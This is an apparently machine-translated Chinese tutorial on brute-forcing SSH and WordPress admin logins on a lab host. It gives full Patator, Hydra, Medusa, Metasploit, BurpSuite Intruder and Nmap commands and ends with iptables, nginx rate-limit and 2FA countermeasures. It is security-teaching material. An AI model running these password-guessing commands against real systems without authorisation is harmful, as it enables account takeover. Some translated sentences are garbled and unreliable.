
蛮力攻击是解决数学问题的一种方法,其复杂性取决于所有可能解决方案的数量。 当攻击者尝试为帐户或服务选择用户名/密码时,术语“暴力本身”通常用于黑客攻击的上下文中。
考虑可用于对Kali Linux(Patator,Medusa,Hydra,Metasploit)和BurpSuite中可用的SSH和WEB服务进行暴力攻击的工具。
本文提供的所有材料仅供教育使用。 禁止以非法和非法使用材料。
暴力破解
例如,以测试计算机192.168.60.50尝试通过SSH查找用户测试的密码。 我们将使用标准rockyou.txt词典中的常用密码。
拍手要使用Patator选择密码,请使用以下命令:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'
其中:
ssh_login-必需的模块
主人是我们的目标
用户 -选择用于多次选择的密码或文件的
用户登录名
密码 -带密码的字典
-x忽略:mesg ='验证失败' -该命令不显示包含此消息的行。 过滤参数是单独选择的。

九头蛇要使用Hydra选择密码,请执行以下命令:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
其中:
-V-在迭代期间显示一对用户名和密码
-f-找到指定登录名的密码后立即停止
-P-带有密码的字典路径
ssh://192.168.60.50-受害者的服务指示和IP地址

美杜莎要使用Medusa选择密码,请执行以下命令:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
其中:
-h-受害者IP地址
-u-登录
-P-字典路径
-M-模块选择
-f-在找到有效的用户名/密码对后停止
-v-在选择过程中设置消息在屏幕上的显示

Metasploit我们将搜索用于对SSH进行暴力攻击的工具:
search ssh_login
并得到答案:

我们使用以下模块:
use auxiliary/scanner/ssh/ssh_login
要查看必要的参数,请使用
show options
命令。 对我们来说是:
主机-受害者IP地址
港口
用户名 -SSH登录
userpass_file-字典的路径
stop_on_success-在存在用户名/密码对时立即停止
线程 -
线程数

通过“
set ”命令指示必要的参数。
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
指定了必要的参数后,我们键入“
run ”命令并等待。

对抗
使用防火墙限制建立的连接数。 iptables设置示例:
-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset
。
这样的规则会将每个IP地址对SSH的访问限制为每秒1个连接,这使搜索变得非常复杂。 同样,有效的解决方案可以是使用两因素身份验证(例如,使用eToken)或使用密钥对的身份验证,以及使用基于IP地址的ACL。
蛮力WordPress
让我们看另一个示例-选择Web表单授权窗口的密码。

例如,我们将从wordpress管理员帐户中选择密码。
Burpsuite首先,我们需要了解授权过程是如何发生的。 为此,我们将使用BurpSuite。 我们需要尝试使用任何密码登录并登录,以查看通过BurpSuite发出的请求。

好吧,我们看到了POST授权请求,我们将使用它。
BODY指示检查了哪个登录名和密码,这意味着我们可以尝试替换自己需要的值。
我们将此请求传递给Intruder,然后在此处选择攻击所需的参数。 在“有效载荷位置”项中,我们将攻击类型保留为狙击手,但为进行验证,我们仅保留了pwd参数。 因此,攻击只会更改此参数。

我们加载必要的字典并开始攻击。

从Web应用程序的行为来看,我们看到错误的密码返回了响应代码200。在搜索字典之后,我们看到其中一个密码给出了代码302的答案-是正确的。

这种蛮力方法比使用Patator,Hydra,Medusa等时花费的时间长得多。 即使我们拿着一本小词典,BurpSuite也在该词典上迭代了约40分钟。
九头蛇让我们尝试使用Hydra查找密码。
我们已经知道,如果授权不正确,则返回代码200,如果授权不成功,则返回代码302。让我们尝试使用此信息。
首先,使用以下命令:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"
在这里,我们指示所需的参数:
-l-用户名
-P-带有密码的字典
-t-线程数
http-post-form-表单类型,我们有POST。
/wp-login.php是授权页面的URL
^ USER ^ -显示替换用户名的位置
^通过^ -显示在字典中替换密码的位置
S = 302-指示哪个答案依赖Hydra。 在我们的情况下,成功授权后的答案是302。

拍手众所周知,如果授权失败,则返回代码200,如果授权失败,则返回302。我们将使用与Hydra相同的原理:
通过以下命令执行启动:
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz-暴力HTTP攻击模块
url-具有授权的页面地址
FILE0-带有密码的字典路径
正文 -授权期间在POST请求中传输的信息
-t-线程数
-x-在这种情况下,我们指定了不显示包含代码为200的参数的消息行的命令
accept_cookie-保存cookie参数并将其传递给下一个请求
结果,我们设法找到了密码。

地图如果您使用带有相应参数的
http-wordpress-brute脚本,则Nmap实用程序允许选择Web授权表单的密码:
--script-args-添加参数
user或
userdb-登录名或带有登录名的文件
pass或
passdb-指定密码或字典
线程 -
线程数
firstonly = true-在第一个正确的密码后显示结果
nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

对抗
使用iptables(类似于SSH)和nginx限制(复杂)对Web应用程序的暴力攻击。 为此,创建一个限制区域:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...
并使用它:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}
这样的设置会将请求从一个IP地址的数量限制为每秒40个。
要使枚举任务复杂化,可以使用以下方法:
-使用防火墙和其他软件来限制对受保护服务的呼叫次数。 您可以在文章中了解如何使用机器学习来检测此类攻击(包括分布式攻击)。
-使用防止快速验证密钥正确性的工具(例如,验证码)。
结论
在本文中,我们简要地研究了一些流行的工具。 您可以按照以下准则降低密码猜测的风险:
-使用耐密码的密码;
-请勿使用个人信息创建密码,例如:出生日期或姓名+出生日期或手机;
-定期更改密码;
-在所有帐户上使用唯一的密码。
很少有人遵循这样的建议(以及关于安全Web开发的建议),因此您需要使用各种软件解决方案,这些解决方案可以使您:
-通过IP地址限制连接,或者,如果不可能,则限制与服务的同时连接数(使用iptables,nginx等);
-使用两因素验证;
-使用SIEM,
WAF或其他工具(例如,fail2ban)检测并阻止此类攻击。